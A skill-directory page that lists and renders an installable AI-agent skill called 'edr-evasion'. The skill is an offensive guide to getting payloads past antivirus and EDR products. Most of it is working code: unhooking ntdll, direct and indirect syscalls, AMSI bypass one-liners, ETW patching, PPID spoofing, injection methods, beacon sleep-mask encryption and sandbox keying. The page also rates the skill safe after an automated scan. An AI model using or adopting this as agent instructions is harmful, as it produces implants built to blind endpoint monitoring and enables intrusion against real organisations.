SkillAgentSearch skills...

edr-evasion

Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion

Install / Use

npx skills add hypnguyen1209/offensive-claude --skill edr-evasion

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

91/100

Category

Security

Supported Platforms

Universal

Our assessment of edr-evasion

edr-evasion scores 91/100 on our quality scale, 470th of 1,096 Security skills we index (top 43%).

Its SKILL.md is 21 KB long, well organised into 44 sections with 29 code examples: a thorough specification that gives an agent plenty to work with.

It has 377 GitHub stars, a meaningful sign that others use it.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
11/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 14 days ago, so edr-evasion is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.

Automated pattern scan on 2026-10-05. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

edr-evasion compared with similar skills

All 4 of these similar skills score higher than edr-evasion; compare them before choosing.

SkillScoreStarsUpdatedFormat
edr-evasion (this skill)by hypnguyen12099137714d agoSKILL.md
algorithmic-artby anthropics100177.9k12d agoSKILL.md
pptxby anthropics100177.9k12d agoSKILL.md
designby nextlevelbuilder100130.2k13d agoSKILL.md
ui-ux-pro-maxby nextlevelbuilder100130.2k13d agoSKILL.md

Frequently asked questions

How do I install edr-evasion?
Run npx skills add hypnguyen1209/offensive-claude --skill edr-evasion. The install tabs above show the steps for each supported agent.
Which AI agents does edr-evasion work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is edr-evasion safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is edr-evasion still maintained?
The repository was last updated 14 days ago, so edr-evasion is actively maintained.

name: edr-evasion description: Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion metadata: type: offensive phase: evasion tools: syscall-stubs, ntdll-unhooking, amsi-patch, etw-patch, process-hollowing kill_chain: phase: [delivery, install] step: [3, 5] attck_tactics: [TA0005] depends_on: [exploit-development, shellcode-dev] feeds_into: [red-team-ops, initial-access] inputs: [edr_product, payload] outputs: [evasive_payload, bypass_technique]

EDR Evasion

When to Activate

  • Planning EDR bypass during red team engagements
  • Researching AV/EDR evasion techniques
  • Developing implants that must survive endpoint detection
  • Testing detection capabilities of security products

Fundamentals

AV vs EDR

Antivirus (preventive):

  • Static analysis: matching known signatures in files
  • Dynamic analysis: limited behavioral monitoring/sandboxing
  • Effective against known threats, weaker against advanced attacks

EDR (proactive & investigative):

  • Continuous endpoint monitoring
  • Behavioral analysis at kernel level
  • Anomaly detection and post-compromise visibility
  • Prioritizes incident response and investigation

Windows Execution Flow

Application → DLL (kernel32/ntdll) → Syscall → Kernel (ntoskrnl)
                    ↑
              EDR hooks here
              (userland hooks in ntdll)

Hook Unhooking

Userland Unhooking (ntdll.dll)

EDRs hook ntdll functions by replacing the first bytes with a JMP to their inspection code.

// Method 1: Map fresh ntdll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID freshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

// Get .text section of loaded ntdll
HMODULE loadedNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)loadedNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)loadedNtdll + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER textSection = IMAGE_FIRST_SECTION(ntHeaders);

// Overwrite hooked .text with clean copy
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
    textSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
    (LPVOID)((BYTE*)freshNtdll + textSection->VirtualAddress),
    textSection->Misc.VirtualSize);
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
    textSection->Misc.VirtualSize, oldProtect, &oldProtect);
// Method 2: Map from KnownDlls (avoids disk read)
HANDLE hSection;
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES oa = { sizeof(oa), NULL, &name, 0, NULL, NULL };
NtOpenSection(&hSection, SECTION_MAP_READ, &oa);
PVOID freshNtdll = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &freshNtdll, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READONLY);

Kernel-Level Unhooking Detection

Some EDRs use kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) — these cannot be bypassed from userland alone. Requires:

  • BYOVD (Bring Your Own Vulnerable Driver) to unload/disable kernel callbacks
  • Direct kernel object manipulation (DKOM)

Direct & Indirect Syscalls

Direct Syscalls

Skip ntdll entirely — call the syscall instruction directly:

; NtAllocateVirtualMemory syscall (Windows 10 21H2)
mov r10, rcx
mov eax, 0x18          ; syscall number (varies by Windows version!)
syscall
ret

Tools: SysWhispers3, HellsGate, HalosGate, TartarusGate

Indirect Syscalls

JMP to the syscall; ret instruction inside ntdll (avoids "syscall from non-ntdll" detection):

; Find syscall;ret gadget in ntdll
mov r10, rcx
mov eax, SSN           ; System Service Number
jmp [ntdll_syscall_ret_addr]  ; JMP to syscall;ret in ntdll

Why indirect: Some EDRs check the return address of syscalls — if it's not within ntdll's address range, it's flagged.

SSN Resolution

// HellsGate: read SSN from ntdll function prologue
// Clean function: mov r10, rcx; mov eax, SSN; ...
// Hooked function: jmp <hook_addr> (first bytes replaced)
// HalosGate: if hooked, look at neighbor functions (SSN ± 1)
// TartarusGate: walk further neighbors if immediate ones also hooked

AMSI Bypass

# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Alternative: patch in memory
$a=[Ref].Assembly.GetType('System.Management.Automation.A]msiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
[IntPtr]$ptr=$b.GetValue($null)
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
// C implementation: patch AmsiScanBuffer
HMODULE amsi = LoadLibraryA("amsi.dll");
LPVOID addr = GetProcAddress(amsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(addr, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
// xor eax, eax; ret (return S_OK with AMSI_RESULT_CLEAN)
memcpy(addr, "\x31\xC0\x05\x4E\xFE\xFF\xFF\xC3", 8);
VirtualProtect(addr, 6, oldProtect, &oldProtect);

ETW Patching

// Patch EtwEventWrite to immediately return
// Blinds .NET CLR logging, PowerShell ScriptBlock logging
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
LPVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3;  // ret
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);

PPID Spoofing

// Make process appear to be spawned by explorer.exe
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
LPPROC_THREAD_ATTRIBUTE_LIST attrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(attrList, 1, 0, &size);

HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);
UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);

STARTUPINFOEXA si = { sizeof(si) };
si.lpAttributeList = attrList;
PROCESS_INFORMATION pi;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE,
    EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
    NULL, NULL, &si.StartupInfo, &pi);

Process Injection Techniques

| Technique | Stealth | Notes | |-----------|---------|-------| | CreateRemoteThread | Low | Heavily monitored | | NtQueueApcThread (Early Bird) | Medium | APC before thread starts | | NtSetContextThread | Medium | Hijack suspended thread | | Module Stomping | High | Overwrite legitimate DLL .text | | Phantom DLL Hollowing | High | Map section, overwrite | | ThreadlessInject | Very High | No new threads created | | Process Hollowing | Medium | Unmap + remap | | Transacted Hollowing | High | NTFS transactions |

ThreadlessInject Pattern

1. Find target process with suitable DLL loaded
2. Locate exported function that's rarely called
3. Overwrite function prologue with: push shellcode_addr; ret
4. Wait for natural execution of that function
5. No CreateRemoteThread, no APC — completely threadless

Memory Encryption (Sleep Masking)

// Encrypt beacon memory during sleep to avoid memory scanners
// Cobalt Strike: set sleep_mask "true" in profile
// Custom implementation:
void SleepEncrypt(DWORD sleepTime) {
    // 1. Encrypt all RX sections with XOR/RC4
    BYTE key[16]; GenerateRandomKey(key);
    EncryptMemory(beaconBase, beaconSize, key);
    
    // 2. Change memory protection to RW (no execute)
    VirtualProtect(beaconBase, beaconSize, PAGE_READWRITE, &old);
    
    // 3. Sleep
    SleepEx(sleepTime, FALSE);
    
    // 4. Restore RX and decrypt
    VirtualProtect(beaconBase, beaconSize, PAGE_EXECUTE_READ, &old);
    DecryptMemory(beaconBase, beaconSize, key);
}

Behavioral Evasion

Sandbox Detection

// Check indicators before detonation:
// - Domain joined? (GetComputerNameEx)
// - RAM > 4GB? (GlobalMemoryStatusEx)
// - CPU cores > 2? (GetSystemInfo)
// - Disk > 60GB? (GetDiskFreeSpaceEx)
// - User interaction? (GetLastInputInfo — idle time)
// - Known sandbox usernames? (John, sandbox, malware, virus)
// - VM artifacts? (VMware tools, VBox Guest Additions)

Execution Guardrails (Keying)

// Only execute on intended target — prevents sandbox analysis
// Key to: domain name, username, hostname, MAC address
char computerName[256];
GetComputerNameA(computerName, &size);
BYTE key[32];
SHA256(computerName, strlen(computerName), key);
// Use key to decrypt payload — wrong machine = garbage output

Advanced: Sleep Obfuscation Techniques

Ekko (Timer-Based)

// Use NtCreateTimerQueue + NtSetTimer to encrypt/decrypt beacon memory
// Flow: Set timer → encrypt memory → change to RW → sleep → timer fires → 
//       change to RX → decrypt memory → resume execution

HANDLE hTimerQueue = NULL;
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD);

// Timer callback chain:
// 1. NtContinue → capture context
// 2. VirtualProtect → RW
// 3. SystemFunction032 (RC4 encrypt) → encrypt beacon
// 4. WaitForSingleObject → actual sleep
// 5. SystemFunction032 → decrypt beacon  
// 6. VirtualProtect → RX
// 7. NtContinue → resume execution

// Key: all operations happen in timer thread — main thread is suspended
// EDR sees: legitimate timer callbacks, not suspicious API sequences

Zilean (APC-Based)

// Queue APCs to current thread for sleep obfuscation
// Each APC performs one step of the encrypt-sleep-decrypt chain

NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect, 
    beaconBase, beaconSize, PAGE_READWRITE);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
    &img, &key);  // RC4 encrypt
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)WaitForSingleObject,
    hEvent, sleepTime, 0);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
    &img, &key);  // RC4 decrypt
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
    beaconBase, beaconSize, PAGE_EXECUTE_READ);

// Trigger APC execution
NtTestAlert();

DeathSleep (Thread Pool)

// Abuse Windows thread pool for sleep obfuscation
// Register work items that handle encrypt/sleep/decrypt
// Thread pool threads are inherently trusted by EDRs

TP_CALLBACK_ENVIRON callbackEnv;
TpInitializeCallbackEnviron(&callbackEnv);

// Create thread pool work items for each step
CreateThreadpoolWork(EncryptCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(SleepCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(DecryptCallback, &ctx, &callbackEnv);

// Submit and wait — execution flows through ntdll thread pool
SubmitThreadpoolWork(encryptWork);
WaitForThreadpoolWorkCallbacks(decryptWork, FALSE);

Gargoyle (ROP-Based Non-Executable Sleep)

// Mark all beacon memory as non-executable during sleep
// Use ROP gadget to re-mark as executable and resume
// Key: beacon exists only as RW data while sleeping — invisible to memory scanners

// 1. Build ROP chain on stack:
//    VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)
//    JMP beacon_entry
// 2. Set timer with callback = stack pivot gadget (xchg rsp, rax; ret)
// 3. VirtualProtect beacon to PAGE_READWRITE
// 4. Encrypt beacon memory
// 5. Sleep (WaitForSingleObject)
// 6. Timer fires → stack pivot → ROP chain executes → beacon decrypted and RX

Advanced: Stack Spoofing

SilentMoonwalk (Full Stack Spoofing)

// Problem: EDRs walk the call stack on API calls — suspicious return addresses flagged
// Solution

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars377
CategorySecurity
Updated14d ago
Forks65

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions